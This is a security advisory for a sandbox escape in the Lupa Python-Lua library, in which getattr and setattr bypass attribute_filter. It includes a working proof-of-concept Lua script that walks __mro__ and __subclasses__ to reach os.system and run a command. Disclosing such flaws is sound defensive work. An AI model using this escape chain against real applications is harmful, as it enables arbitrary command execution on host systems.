CVE-2026-34444: Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr
Affects lupaSource GCVE Database
Not known to be exploited · CVSS 7.9 High.
Data as of 27 Oct 2026, 00:07 UTC
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:HExploitation evidence
Disclosed: evidence found.
CVE published 6 Apr 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| PyPIlupa | Affected
| Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary The `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua. However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution. ### Details The `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties. In practice, it only applies to direct attribute access: - `obj.attr` → filtered - `getattr(obj, "attr")` → not filtered Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code. An attacker can use getattr to- - Access `__class__` - Walk the `__mro__` chain - Call `__subclasses__()` - Iterate over available classes - Find a function that exposes `__globals__` - Retrieve something like `os.system` At that point, arbitrary command execution becomes straightforward. This effectively breaks the security boundary that `attribute_filter` is expected to enforce. ### PoC The following example shows how the filter can be bypassed to execute `os.system`:' ``` import lupa from lupa import LuaRuntime def protected_attribute_filter(obj, attr_name, is_setting): if isinstance(attr_name, str) and attr_name.startswith('_'): raise AttributeError(f"Access to '{attr_name}' is forbidden") return attr_name lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter) class UserProfile: def __init__(self, name): self.name = name lua.globals().user = UserProfile("test") lua.execute(""" local py = python.builtins local getattr = py.getattr local setattr = py.setattr local cls = getattr(user, "__class__") local _, obj_cls = getattr(cls, "__mro__") local subs = getattr(obj_cls, "__subclasses__")() for _, c in ipairs(subs) do if tostring(c):find("os._wrap_close") then local system = getattr(getattr(c, "__init__"), "__globals__")["system"] setattr(user, "run", system) user.run("id") end end """) ``` ### Impact An attacker who can execute Lua code can: - Bypass the `attribute_filter` - Access Python internals - Traverse the object graph - Reach execution primitives This leads to full sandbox escape and arbitrary command execution in the host Python process. Any application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.